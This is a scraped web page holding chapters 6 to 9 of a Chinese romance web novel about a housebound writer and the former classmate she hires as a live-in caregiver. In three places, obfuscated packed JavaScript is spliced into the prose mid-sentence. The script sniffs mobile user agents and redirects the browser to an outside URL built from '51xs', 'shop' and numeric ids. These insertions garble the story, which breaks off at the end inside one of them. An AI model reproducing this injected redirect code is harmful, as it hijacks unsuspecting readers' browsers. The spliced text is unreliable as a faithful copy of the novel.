利知屁、股挪了几下,离了蒋星尧几拳的距离。 距离不远,却足以把原本属于利知的修罗场,转交给了蒋星尧。 “小蒋啊,你别误会啦,”温女士笑着说,“现在的病毒传染性极强,你们俩平时还是保持点距离,这对你也好。” “我明白的,”蒋星尧睑下眸,轻声道,“谢谢阿姨的关心。” 温女士把利知有过高烧惊厥,高烧打120的事,还有她不怎么会做饭,也不喜欢做饭,经常熬夜,能宅即宅等事都对蒋星尧说了一遍,还有一些生活上的细节。 利知在一旁听着,脸由红转黑,温女士是来抹黑的吧! 蒋星尧则一脸正色,听得极其认真。 之后蒋星尧把利知这三天情况告知温女士,可能是因为听说了利知有过高烧惊厥,他把利知的情况说得很详细。 甚至有很多利知都不知道的细节。 比如她发高烧那晚他几乎整晚没睡,喂水,喂药,量体温,降温。 甚至每天食材的选择,他都是向一位做中医朋友请教过的,何时需要清,何时需要补,然后根据利知当天的情况去买食材。 把日常照料的细节说了一遍后,蒋星尧停顿了下继续说:“阿姨,我学的是制药专业,对于用药方面还算专业的。” “还有我也是七中毕业的,是利知隔壁班的同学。利知在选陪护的事上很谨慎的,在确认过各方面信息才让我上门照顾的。” “确实我在陪护这方面资历尚浅,很多东西还需要学习,但我会尽我所能把利知照顾好,到时您回来,还您一个活蹦乱跳的女儿。” 利知听呆住了,从蒋星尧第一天出现在她家里,就整天嬉皮笑脸的,一副无所谓又轻松从容的模样。 远不知在她看不到的背后,费了那么多的心思。 她转头去看,因为他梳起了头发,整张脸显露无疑,他眼神杳亮澄澈,恍如当年那个意气风发的少年。 忽然觉得胸腔跳动加快,喉咙一痒,又是一阵无法抑制的咳嗽。 蒋星尧无声看她,眼神透着关切。 她摆了摆手,给他一个放心的表情。 “那这段时间就拜托小蒋了,哎呀,我和她爸不能在她身边,看她病了也只能干着急……”温女士说着露出了熟悉的笑容。 利知暗舒一口气,只有温女士收起她那标志性的交际笑容之时,就证明,蒋星尧终于闯关成功了! 挂断电话,利知觉得整个人都轻松不少了,往后一靠,忽然开怀笑了起来,“啊啊啊我妈终于放过我了!” 蒋星尧岂止是解决了瞒着温女士找陪护一事,还成功地把相亲对象挡回去了。 一下子帮她解决了两大难题。她哪是找了个陪护,简直是挖了座宝藏! “蒋星尧你真棒!不行不行,我要给你加钱!” “好啊。”蒋星尧欣然应下,只是声音有些低缓无力。 利知看向他,发现他整个人有些局促,脸色变白,额头还沁出豆大的汗珠。 “你怎么了?”利知背过手探上他的额头,温度没升高,反而冰凉冰凉的。 “我没事,”蒋星尧如释重负般舒了一口气,随即自嘲一笑道,“我那是紧张的。” 7. 第7章 他的脸上带着淡淡的笑,那光洁的额头上渗着豆大的汗,看上去赢赢弱弱的。 利知很不厚道地笑了出声。 “有什么紧张的啊,不就一份工作嘛,”利知抽了张纸递给他,笑着说, “又不是见家长……” 呃,还真是见家长啊。虽然是雇主的家长。 利知缓缓收回手,不经意间对上他的视线,不过一秒,她悄然避开了视线。 蒋星尧抿了抿唇,收回视线,“你不是给我加班费了吗?好不容易遇到好雇主,我可不想就这么放弃呢。” 是啊!今天之内两次给加班费,对于没收过加班费的他来说,她应该算是个,出手阔绰的雇主吧? * 因为陪护工作的特殊性,第一天利知和蒋星尧商量好,工资日结,连同当天的开销。 晚上,利知给蒋星尧算了下,哇!日薪过千了! 美滋滋地把今天的钱款打到蒋星尧的银行卡上。 看着看着,忽然悲从中来。 蒋星尧照顾她的生活起居可谓是无微不至,今天又把温女士搞定了,让她接下来很长一段时间免受相亲的困扰了。 蒋星尧做了这么多,而她除了多发点工资,真的什么都做不了了。 谁叫她不过是个有点钱的普通人呢呜呜呜…… * 翌日醒来,利知感觉腰酸背痛。 挣扎了一会,还是起床了,因为肚子饿了。 出来后没看到屋里有人,反而是阳台响起一些声响。 利知好奇靠近,原来蒋星尧在装一个长形花架。 地上还放着两盆植物,一盆是原来放在屋里的常春藤,另一盆是不知名的绿植。 “你什么时候买的花架?” “买菜的时候买的。” 蒋星尧说话时正歪着头拧着螺丝,光线柔柔地匀在他的发顶,从利知的角度可看到坚挺的鼻子,轻抿着的唇。 他今天穿白色上衣,蓝色短裤,短裤下修长笔直的长腿更是显眼,整个人有一种干净清爽的气质。 利知绞尽脑汁也想象不出,这样的蒋星尧提着菜买花架是什么样的情景。 利知指着那盆不知名的绿植问:“这盆也是刚才买的?” “嗯哼。” 她就睡了个懒觉,蒋星尧已经做那么多事了! 她问:“它叫什么?” “夕雾草。”蒋星尧拧好最后一颗螺丝,把两盆植物放进花架里试了下,而后拍了拍手里的泥尘,“老板说这盆夕雾草过不了多久就开花了。” 蒋星尧弯腰凑近常春藤那片珍贵的叶子,轻轻吹走叶子上的灰尘,而后说:“一盆常春藤太孤单了,给它找个伴,可能会长得好点吧。” 利知当初说让他照顾这盆常春藤,只是急中生智的借口而已,没想到他真的把“照顾常春藤”这件事做到极致的好。 不得不再一次佩服他的敬业精神! “……”利知思索了一会儿才开口道,“我替常春藤谢谢你?” 蒋星尧睨向她,勾着唇配合着说:“不客气。” 吃早餐时,利知感受到蒋星尧的视线若有似无地落在她身上。 在不知道第几次看过来的时候,他低声问:“怎么脸色这么差?哪里不舒服?” “可能没睡够吧。”利知低头嘀咕着,“腰酸背痛的。” “要不要给你按摩一下?” “啊,按摩?“ “听他们说,我按得还挺舒服的。” 也对,毕竟服务过两百多个人了,可不是盖的。 既然都服务过这么多人了,她也没什么好别扭的。 “好啊,那麻烦你了。”利知朝他扬起笑脸,“我会给加班费的。” 蒋星尧笑着问:“给加班费给上瘾了?” 利知一脸正色道,“你的工作是一日三餐,洗衣做饭,我让你做这些已经超出应有的范围了。” “多谢知知对我工作的认可。”蒋星尧撑着下巴,笑着看她。 晨光熹微,微风拂过。蒋星尧那一头没经过打理的头发镀上了柔光,浓色的眉之下,一双黑眸透着柔光,仿佛揉进了整片的晨光。 每一个细节都恰好落到了心坎上。 利知心跳莫名加快,也不知是看到满是柔光的的人,还是因为接下来的按摩。 她腰背挺直地坐在椅子上,双手紧贴在腿上。 人一紧张啊,感觉手脚都无处安放。 蒋星尧抱着臂立在她的身侧,看着她紧绷又可爱的姿态,一脸的忍俊不禁。 见利知看过来,蒋星尧握拳抵着嘴角轻轻咳了一声,低声问她:“看电影吗?” ?? “看电影会更放松。” 利知有点不好意思了,估计蒋星尧看出来她的紧张了吧。 利知特意选了一部热血电影,这部电影她看过,没有缠缠绵绵的爱情,也没有令人尴尬的暧昧桥段。 蒋星尧还挺会按摩的,只在她的太阳穴和眉骨处按了几下,她就整个人都放松了下来。 转念一想,自己紧张什么啊!她给钱,他服务,不是挺正常的吗! 再者,人家可是服务过两百多号人了,都不知给多少人按摩过了。 这么一想,她整个人都放松下来了,专心享受了。 两人无言。 蒋星尧手腕上的磁石手链时不时碰到利知的肌肤,冰冰凉凉的。 电影超棒的特技和超酷的背景音乐,成了气氛的活络者。 过了好一会,蒋星尧渐渐收回在她肩上的力,轻轻拍了一下她的肩,“趴着吧,给你按背。” 他又问:“趴着不能看电影了,要不要关掉?” “你不看吗?”利知抬起头看他。 他笑着说:“给你按摩呢,看不了的。” “那先暂停吧,这部电影我看过,还挺好看……”举着摇控器的手僵在空中。 电视画面中,金黄色的沙滩上,男主双眼被太阳熏得微眯,白色衬衫敞开,露出健硕的胸腹。 好死不死,暂停的画面正好给那一身健肉来了个特写。 哦嚯,身材还满不错的嘛! 利知欣赏了一眼便撇开了视线,听到蒋星尧含笑的声音。 “好看啊?”低沉的声音,尾音却微微上调,带着若有似无的调笑。 利知扬起一抹尴尬而不失礼的微笑,“还行。” 巧的是,蒋星尧今天也穿着白衬衫,许是按摩的缘故,袖子挽了起来,衬衫下摆一边露了出来,另一边松散地束在裤头里。 不修边幅中带着一股不羁的野。 利知的视线不可控地往上一扫,停留在他的脖颈处,领口处解了两颗扣子,在喉结的右下侧,有一颗痣若隐若现。在雪白的衬衫映衬下,那颗痣更显得娇艳、妖冶。 利知一时看呆了。 “好看吗?”低沉的嗓音含着笑问。 “好看!”嗯,这次连掩饰都忘了。 利知咬着唇,收回视线。 忽然有阴影投下,耳边响起揶揄的声音,“我总算搞明白了。” “什么?” 蒋星尧扬起一抹耐人寻味的笑,“多找个陪护要有腹肌的,看电影要看有腹肌的——” 话语突然停顿,给足人遐想的空间。 还有理有据的。 要不知蒋星尧在说她,她都要相信,那人得多迷男人的腹肌。 可事实并不是这样啊啊啊! 要怎么让他相信,是巧合,是误会呢? 利知急得一时组织不出辩解的话来。 “这样会显得我不够称职……”他忽然压低声音说,“其实啊,我也有腹肌的。” 说话间,蒋星尧用他那修长的手指,有意无意地撩起露在外面的衣角,“想不想看?” 诱惑这么大吗!救命呜呜…… 要不让他继续误会好了! 可从小到大养成的修养,让她下意识地去拒绝,“不……” 利知拒绝的话还没说完整,低沉的嗓音打着商量道:“收你便宜点,怎么样?” 啊?男神想赚钱了? 利知狐疑地看向他,蒋星尧勾唇一笑,用轻松的语调证实了她的想法,“我想赚钱了。” 利知的表情松懈了下来,随即笑得一脸灿烂,“多少?” * 利知趴在沙发上,头枕在交叠的手上,脸朝外。 就在十多分钟前,蒋星尧站在电视前,男主的旁边,一颗一颗地解开了扣子,手指搭在衬衫边上一扬手,脖颈处的那颗痣就这么大喇喇地展现出来,加上那劲瘦的腰肢,板正的腹肌。 利知想,蒋星尧真误会她了。 她并不喜欢欧美那种肌肉喷张的夸张感,她喜欢的正好是他那样的——穿衣显瘦,脱衣有料的。 然而—— 她此刻趴着,只能看到衬衫的一边吊在眼前,视线正好对着一颗白扣子。 扣子随着蒋星尧的动作前后摆动着,摆着摆着,扣子幻化成与那张八分相像的俊脸,每次一靠近她,都笑得嚣张又邪魅,“来呀来呀!” 肉没看到,诱惑一分没少。 利知气哼哼唧唧地转过头,面对着沙发。 没一会,蒋星尧渐渐收了力,“可以了。” “哦。”利知依旧脸朝里,很久都没听到任何声响,于是转过头,对上一张放大的俊脸,吓得她呼吸一滞,连忙往里靠,“怎,怎么了?” 蒋星尧盘腿坐在地上,一脸的若有所思,“你的后脑勺在不开心。” 利知下意识摸了摸后脑勺,这都能察觉到? 蒋星尧托着腮,歪着头,咋一看,原本立体妖冶的轮廓多了几分柔和。 他低声问:“我按摩不舒服?” “挺好的啊。” “那为什么不开心了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713178|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“也没有……嗯就是,看你衬衫的扣子,看了二十分钟……” 蒋星尧一怔,随即明白过来,笑得更是妖孽,“原来是钱花得不值了啊。” 利知连忙摆手,“不是不是,就是吧,嗯……” 没看够。 蒋星尧心领神会,拍了拍利知的肩,“起来吧。” 自己先站了起来。 等利知坐起来,他侧着身与她面对面坐着。 他的衬衫依旧微敞着,眼带着微笑,“这样,可以吗?” “呃……看,看多久?”利知咽了咽口水,越看越心痒怎么回事! “都行。”蒋星尧肩膀倚着沙发,随意转动着手腕。 利知才想起,他不间断地给她按摩了将近半小时呢,现在又要“加班”。像极了她写完一本无缝开下一本的状态。 她有点于心不忍,“要不,我加钱吧。” 蒋星尧动作一顿,抬起眸,一瞬不瞬地盯了她一会,随即笑了,那笑容里明媚中带着些愉悦。 然后,利知听到他说:“知知觉得我很值钱吗?” 噗! “我一天工资才两百,你给的加班费已经翻了好几倍了。” 哦哦,原来是这个意思。 “值!”利知思索了一下,“要不这次换种收费标准?” “怎么收?” “一分钟一百?” 这个回答有点出乎意料,便问她,“为什么这样定?” “就,嗯……”利知实在说不出卖色相这四个字,她支吾着说,“更明码标价。” 蒋星尧笑了,“行。” 利知潜意识里觉得不大妥,想了想正色道:“如果你不喜欢,可以拒绝的。” “为什么要拒绝?”蒋星尧挑了挑眉,不假思索道,“有钱都不赚吗?” 蒋星尧状似要拉开衣服。 “等一下!”利知低着头,红着脸摸出手机,几下操作,“我,我先把刚才的钱转给你。” 好减少心里那股负罪感。 蒋星尧笑了出声,“我被你发掘一些不得了的赚钱潜能,以前我想都没想过,自己还可以这么多样式赚钱的。” 利知问:“你没给你的客户按摩过?” “客户?”蒋星尧摇着头说,“没有。” “他们没提吗?” 蒋星尧笑着说:“他们不敢。” 虽然是在笑,可怎么感觉那笑意的背后,带着些震慑感。 利知忐忑起来了,毕竟这种花钱买快乐的方式,有点心里不安。 她退开了些,“要不,还是……” 利知的话最后咽回去了,因为,蒋星尧已经大剌剌地撩开衣摆,那眼神仿佛说,看个够。 “那个,是你叫我看的啊。” 蒋星尧笑着应,“对,是我想赚钱了。” 利知强调,“我没强迫你的啊!” “嗯,你没强迫我。” “那……”利知咽了咽口水,“我,我看了啊。” 为了方便计时,她打开计时表,看够就摁停。还说好了不满一分钟按一分钟算。 利知今天才知道,原来度秒如年还可以用在此情此景的。 蒋星尧一条腿随意盘着,另一条腿着地,一双桃花眼如注入了潺潺春水,脸上带着几分朦胧的惑色,仿若一副任君采撷的模样。 利知的视线从腹肌到胸肌、再到喉结,看到那颗惹人的痣,利知停下目光。 在利知失神地望着那颗痣的时候,蒋星尧也在看着她,只是眼神越发幽暗。 忽然,利知感觉鼻子一热,有什么缓慢流出。 她正要抬手,被蒋星尧扼住手腕,紧接着一团纸巾塞了过来。 “好端端的怎么流鼻血了。”蒋星尧叹着气,声音还带着些哑。 他叫利知坐着,让她捏着两侧鼻翼,他则去拿冷水洗的毛巾出来,拉了凳子和她面对面坐着,把毛巾敷在她鼻梁上。 两人就这么在对面的,大眼瞪小眼。 蒋星尧错开视线,没去看她,只是极力抿着唇,生怕一不小心漏出不适宜的笑声,打破此刻的和谐。 那双桃花眼尾部上翘,眉飞色舞的模样没有半分的邪魅,更似在,偷着乐! 利知就这么眼睁睁地看着他从一开始的关切,转变成强压着笑意。 呵! 不就是看了几眼胸腹肌,一不小心气火外漏而已嘛! 心里忽然觉得忿忿不平,她出糗了,他就这么安乐地笑她了? 怎么说她也是写过炸裂小甜文的作者,夹黄带枪什么的简直随手拈来了。 “蒋星尧。” “咳咳……嗯?” 利知指着按停了的计时器,上面显示着2分27秒。是刚刚捂着鼻子的按停的。 “不到三分钟呢,”她随即一脸惋惜,“时间好短啊!” 原本还在强压的笑意瞬间消失无踪。 8. 第 8 章 利知止了鼻血,去卫生间收拾自己一番出来,看到蒋星尧正在讲电话。 她一开始并没留意蒋星尧讲的什么,坐下来玩了一会手机,无意间听到他谈话的内容,好像与她有关。 大概就是问对方生病第三天,按照当初的饮食清单搭配,出现了流鼻血。 对方要求视频通话看一下利知的情况。 蒋星尧用眼神询问利知要不要视频,利知尽管有些小紧张,还是朝他点了点头。 视频接通,对面是一个穿着白大褂,戴着口罩的男人。 利知被那双闪着光芒的眼盯得有些不自在,总觉得每个打量都透着八卦。 “美女你好啊,我叫宋何,是星尧的大学室友,今天有幸能一睹芳容,真是……” 蒋星尧打断他,“长话短说,你不是说很忙吗?” “哎呀,这不是第一次见有些小兴奋嘛。”宋何笑呵呵地对利知说,“哦,老蒋肯定没提过我吧,我是一名中医,最擅长望闻问切了。来,把舌头伸出来我看看。” 利知依言照做,宋何看完后,说了一通利知不太懂的话,最后说会把方子发给蒋星尧。 在蒋星尧要挂电话的时候,宋何出声制止,“哎哎哎一边去,我还没和小美女聊上几句呢!我是医生,要对病人多了解才能更好去开方子的啊!” 蒋星尧一脸的无奈,正要开口,宋何抢先说:“我知道,长话短说嘛。” 宋何转而笑嘻嘻地问利知:“小美女啊,你叫什么名字?今年多大了?” “宋医生,你叫我利知就好了。” “荔枝啊,荔枝好啊!”宋何呵呵笑着说,“星尧最喜欢吃荔枝了,前段时间就因为荔枝吃多上头了,我给他开降火药了哈哈哈……” 利知偷偷瞄了一眼身边的人,他笑着看向宋何,只是那笑容里绵里藏针。 利知干笑着说:“是我没解释清楚,利是吉利的利,知是知识的知。” “不过我也喜欢吃荔枝啊,只是现在病了不敢吃。” “喔,原来是利知而非荔枝。” “还有哦,”利知出声提醒,“我也不小了,我和蒋星尧是同一届的,就是说,和宋医生是同龄人。” 宋何震惊了,看利知略显幼态的模样,他还以为她是大学生呢,没想到是同学来的。 他不由得感慨:“原来是同学呀,我还以为老蒋要化身老牛呢。” 利知还没搞明白宋何话里的意思,上方传来低低的笑声,利知抬头去看,蒋星尧正垂眸看着她。 “宋何的医术精湛,别看他年纪轻轻,慕名找他看疑难杂症的人可多了。他的脑袋装满了各种中草药,除了中医方面的可信,其他的,都别信。” “哎这人就不能愉快地玩耍,活该没有女朋友……” 蒋星尧没给对方回应的机会就挂了电话,然后给宋何发了一条语音:“别忘了把方子发过来。” 伴随着语音发送成功的“嗖”一声,周围又恢复了安静,安静到有一丢丢的尴尬。 利知咽了咽口水,笑着问道:“宋医生是不是你之前跟我妈提的那个中医朋友?” “是的,饮食搭配都是他给的清单。”蒋星尧说话的声音有些暗哑。 一想到他在这三天无保护措施的照顾自己,利知有点担心了,“我还生着病,不知道会不会传染你,要不我还是待房间里吧。” “不用,我免疫力好着呢。”蒋星尧浅笑着说,“我去洗一下毛巾。” 说完他拿起刚才利知用过的毛巾离开了。 反正也没事做,利知百无聊赖地等着蒋星尧出来。 可等啊等啊,十几分钟过去了,蒋星尧还没出来。想到他刚才声音都哑了,不禁担心起来。 准备去敲门时,卫生间的门开了。 蒋星尧走了出来,还换了一身衣服。 利知止住脚步,一种不可思议的念头在脑海里滋生。 也许是她的目光太强烈了,蒋星尧停下脚步,看向她问:“怎么了?” “你,洗澡了?” “洗了啊。” 她狐疑地问:“怎么突然洗澡了?” 蒋星尧睨着她,谈笑自若道:“就允许你小说里的男主洗澡,我就不能洗澡了啊?” 小说里男主白天洗澡,要么运动完,要么就是为了抑制强烈的生理反应。 那,蒋星尧是…… “噗……”蒋星尧一下没忍住笑,见利知从呆木若鸡中回过神来,干脆放声笑了起来。 等笑够了才清了清嗓子说:“那件衬衫沾了你的血渍,加上刚才按摩的时候出了汗,就顺便洗澡了。” 蒋星尧说话的间隙已经走到利知旁边,不轻不重地敲了下她的头,“脑袋瓜里整天想些什么?” 利知赔着笑揉了揉脑袋,小说来源于生活嘛!实践和理论总得融合一下。 等等,他刚才说她小说里的男主…… 这时蒋星尧已经走开了,利知连忙跟上去追问:“你,你看过我写的小说了?” “大名鼎鼎的荔枝牛奶糖,出了名的高产量作家,拥有一部影视作品。”蒋星尧俯身低声问,“我说得对不对?” “对对!”利知端着个不露齿的笑看着蒋星尧,“都看过哪些呀?” “也没多少,《春枝花来》、《我和你拼了》,还有《荔枝甜不甜》” “男生也喜欢看我的小说吗!”利知觉得很新奇,她的小说都是女性向较多,男生大都跑去男频的。 “你还看过哪位作者的小说?你最喜欢的是哪个啊?” “我只看过你写的,当然是,”蒋星尧意味深长地笑了笑,“最喜欢的是你啊!” “……” * 白天下过两场大雨,晚上的气温瞬间舒适了不少。 晚饭过后,蒋星尧把在闷头玩手机的人喊出阳台。 利知出来便咂舌,蒋星尧把他房间里的香薰灯拿出来了,幽暗的环境瞬间变温馨了。 桌子上摆了一盘水果沙拉,还有两个杯子和一瓶未开封的橙汁。 看起来很健康,很营养。 蒋星尧伸手致意,“坐。” 利知打趣道:“蒋先生平时也这么养生吗?” “很少。”蒋星尧开了橙汁,往两个杯子缓缓倒入橙汁。 暖橘色的光线下,俊朗的五官变得柔和,眼睑微阖,黑而密的睫毛打下一层光影。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713179|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他微侧着头,姿态松散,却有股不容忽视的矜贵之气,令人有种错觉,他并不是在倒橙汁,而是在开香槟。 真赏心悦目啊! “谁叫我现在面对的是病患呢。”蒋星尧把一杯橙汁放到她面前,笑着说,“等你好了,再陪你好好庆祝一次。” “好啊!” 利知笑着拿起杯子举在空中,蒋星尧会意,拿起杯子碰了下。 有微风拂过还带着雨后的潮意。 利知闭眼深吸一口气,感觉舒服了很多。 “知知。”蒋星尧忽然唤一声。 “嗯?”利知睁开眼看他。 “写小说,压力是不是很大?” “大呀,不写就没收入了。” “那你喜欢这份工作吗?” “喜欢的!我嘛,”利知不好意思地笑笑,“不太擅长与人打交道,还是写小说适合我。” 蒋星尧安静地看着她,眼底清澈,仿佛有股魔力,能瞬间平抚心中的沟壑。 利知愣愣地与他对视了一会,忽地像被什么烫到了,移开视线。 “其实也经常遇到棘手的事,比如这次的新文,大纲就被退了四次了,说和之前写的重合度太高,没什么新意。我吧,自己也写着写着,没感觉了。还得感谢这次生病了,我的编辑才放我一马,不然现在我还在苦哈哈地苟第五遍大纲呢。” “那就趁这次好好休息一下吧。” 蒋星尧此刻的声音都沉了几分,眉宇间都隐着肃穆。在他眼睑微抬之际,利知忙收回打量的目光,假装看向外面。 “写小说我是外行,也给不了有实质的建议,”蒋星尧正色道,“但有需要我的,尽管说。” “哦哦,好的。”利知低着头小声说,“谢谢你。” 内心却在嘀咕着,其实他早在她创作的事上给予过帮助了。 灵感的缪斯,男主的标尺。 今天之后,还多了一样—— 男人的,肉、体。 * 躺在床上,利知翻来覆去都睡不着,还有点烦躁。 白天给了加班费的后劲,在安静的时刻才逐渐起来。 思绪开始不受控制了,总是想起白天蒋星尧给她按摩,让她摸腹肌的场景。 脑海里不适宜地跳出,他在阳台说的那句“有需要尽管叫我”。 啊啊啊人家不是这个意思啊,是说她小说上有需要帮助叫他,不是那方面! 这个脑袋瓜!非要张冠李戴! 挣扎了一会,好累啊。 利知决定和脑瓜子和解了,闭上眼,任由它畅想好了。 于是这一晚睡得很香甜,梦里面什么都有了。 梦里的蒋星尧身上纯白的衬衫大喇喇地敞开着,脸上的笑容妖冶得如盛开的曼珠沙华,修长的手指搭在衬衫的边缘,身体灵动得如风中摇拽的蔓藤。 他喘着气说:“我知道你需要我,所以,我来啦!” 然而不合时宜的两声“嘀嗒”,洁白衬衫染了两抹红色。 吓得利知眼睛还没来得及睁开,就猛然坐起来,首先往鼻下一抹,干燥的。 还好还好,没流鼻血。 今天的形象保住了! 9. 第 9 章 利知在床上伸了个懒腰,全身舒畅。这应该是病了这几天睡眠最好的一次了。 她推开窗,外面阳光普照,不远处小鸟儿欢快地在树间飞来飞去,再远点的马路依旧车水马龙。 热闹,好像与她无关。 今天已经是第五天了,她已经实打实的,四天没出过门了…… 走出去看到厨房里忙碌的身影,所有的苦闷都消失了! 利知步伐也轻快起来,坐到高脚凳上,笑嘻嘻地向里面的人打招呼,“早啊!蒋同学。” 听到这个称呼,刚拿着酱油的手顿了顿,旋即转过头笑着揶揄道:“是挺早的,午饭还在做呢。” “嘿嘿……” 她今天精神好,不和他计较,还好心情地陪他东扯西拉地聊着天。 这时桌上的手机响了,有微信电话进来了,利知凑近去看。 咦,稀奇了! 是什么把常年在通讯录躺尸的人诈出来了? “西饼?”利知接起的同时,偷偷瞄了眼厨房里的人。 他正低着头背对着她,似乎没留意到她这边的动静。 手机那头的人被噎了一下,随后咬牙切齿道:“别这么叫我!我叫你胖妹你开心吗?” “我现在不胖了啊。”利知嘀咕,“你的名字又没换。” 习冰,西饼。音没错啊。 韩习冰被噎了下,很快她便开门见山地问:“下个月的同学聚会,你来不来?” 利知在同学群里看大家讨论过聚会的事,那时正为新文大纲发愁,也就没细看了,参不参加的问题更是压根没想过。 “不忙会去的。”利知悄然下了高脚凳,走到阳台上。 再过两天她的假期结束了,如果出版商那边不满意,加上催得紧,别说出去了,估计连睡眠时间也没能保证呢。 “你不是天天在家吗?省去通勤时间,效率应该很高才对啊,怎么会忙到去聚会那么丁点时间都没有呢?” 利知也没解释,只淡淡道:“刚好这段时间比较忙。” “天天待家里不无聊吗?” “不啊。”利知看了眼正在厨房忙碌的身影回道。 韩习冰嗤之以鼻,“真不知这种零社交的生活你怎么受得了的。” “我只是在家工作,又不是零社交。” 韩习冰还是惯用她那套打压的聊天方式。 沉默了一会,韩习冰冷冷地问:“是不是蒋星尧去,你才会去?” 利知一怔,没有说话。 “不会真的吧?”韩习冰哂笑,“行啊,那我把他叫上,你到时候一定要来!” 这次没给利知回应的机会,毅然挂了电话。 利知看着熄屏的手机,久久愣神。 在班集体里,有些人明艳张扬,身边不缺乏朋友,韩习冰就属于这类人。 利知那会个子不高,又有些胖,加上周边都没有熟悉的人,总是独来独往。 两个不同圈子的人照理玩不到一块的,但两人是同桌,一坐就是两年。 哦,还有,韩习冰曾经和蒋星尧,传过一段。 一通电话让利知对这顿午饭兴致缺缺。 在她第三次夹起同一块肉又放下的时候,蒋星尧忍不住问:“这块肉长得不称心?” “啊?没没没。”利知回过神来把肉夹进碗里,可还是一副食欲不振的样子。 “你早餐都没吃,不饿吗?” “饿,可能,饿过头了吧……”利知打着哈哈道。 蒋星尧无奈道:“就不该任你睡的。” !!!可别啊! “我吃,我吃的!”利知打起精神来,慢慢吃着。 两人又恢复了安静,只剩碗筷碰撞的清脆声。 过了一会,利知状似无意地问道:“最近有要参加同学聚会?” “没呢。”蒋星尧把一块鲜嫩的鱼腩肉夹到她碗里,“你有?” “嗯……我们班,下个月有聚会。”利知支支吾吾的,“你有没收到邀请?” 蒋星尧拧着眉思索了一会,抬眸看她,“我是不是可以理解为,你是在邀请我?” “……” * 早上起太晚了,利知直接放弃午睡,在房间里敷面膜,听歌,聊天。 突然想吃水果了,便去捣鼓冰箱看有什么水果。 哦嚯!几天没碰的冰箱,完全变了个样! 肉菜蔬果满满当当的。 利知挑了几种喜欢的水果,洗好切好。她不喜欢直接吃,都是做成水果沙拉吃的。 蒋星尧在来到的第二天就摸透了她的这个喜好,饭后总会做一盘水果沙拉。 握刀的手停顿了下,她才想到自己怎么突然馋水果沙拉了,因为今天的午饭后,蒋星尧没做,收洗好碗筷就匆忙回房间了。 利知放下刀,取了个沙拉碗,多做了一份水果沙拉。 随后端着其中一个沙拉碗,敲响了蒋星尧的门。 门打开,露出蒋星尧那张过分帅气的脸,只是表情比以往严肃。 他此时穿着一件白衬衫,系了条深蓝色的领带,白衬衫的衣摆并没束进去,随意地耷拉着。 下身穿着的是,早上穿的那条,家居裤…… 精英的严谨和居家的松驰,在他身上同时展现得淋漓尽致。 蒋星尧这是打算,在她家里玩转各种衣服play吗? 利知张了张嘴,一时忘记说话了,忽然手中一轻,蒋星尧接过了沙拉碗。 蒋星尧问:“你吃过了吗?” “还没呢,等下再吃。” 房间里面好像有些声响,利知往里面张望。 房间里的书桌斜对着房门口,上面放着一台笔记本电脑,屏幕亮着,因为角度问题,利知只依稀看到,好像是线上视频,那声响应该是从电脑那传来的。 衬衫系领带,线上视频。 利知心里有了个猜想,便问他:“你在面试吗?” 叉水果的动作一顿,蒋星尧抬眸看她一眼,欲言又止,最后轻轻嗯了一声。 “哦……” 找工作也正常,毕竟在她这里的工作还有两天就结束了,是时候找下一份了。 “那,你先忙吧。”利知低着头,盯着自己的鞋尖,等了好一会还没听到关门的声音。 抬起头,蒋星尧站的位置有些遮光,五官有些蒙胧。 那双眼却如浩瀚的宇宙,有着无数星星点点,幽黑,深邃,仿佛自带漩涡,能把人吸进去。 利知心跳漏了一漏,突然心生逃离,于是催促他,“不是在面试吗?离开这么久不好吧?” “还没开始呢。”蒋星尧握着水果叉插了一块橙子,自然而然地递到利知的嘴边,“张嘴。” 房门关上,利知机械地转过身,走了两步,驻足,嘴里的橙子仿佛会烫嘴! 刚才他把橙子送进她嘴里,然后自然而然地叉了一块自己吃起来。 会不会有点……不太合适? 主要是吧……她还病着呢,那个叉子携带了独属于她的,病毒! * 晚上,两人端正地坐在餐桌两边。 然后—— 大眼瞪小眼。 利知也是一脸懵,搞不懂蒋星尧把她叫过来,又不说话,是个什么意思? 她拢着眉,双手合十做着拜佛的姿势,仿佛在说:求求了快说吧! 蒋星尧笑了,“我刚才一直在想,你还需要什么服务呢?” 他敛起了笑,“要不你提一些意见?这次不收加班费。” 利知收起了夸张的表情,缓缓放下双手,“不是还有两天吗……” “嗯,想早点做准备。” “……” 所以,这是要为告别的准备了吗? 利知低声说:“我好像,也没什么需要的。” 蒋星尧浅笑道:“看来,我可有可无了啊。” “不,不是的……”利知一时词穷。 那些另加的项目都是临时起意,实际大都是因为她见色起意的。 可此情此景,她又能提出什么呢? 沉默半晌。 蒋星尧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713180|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 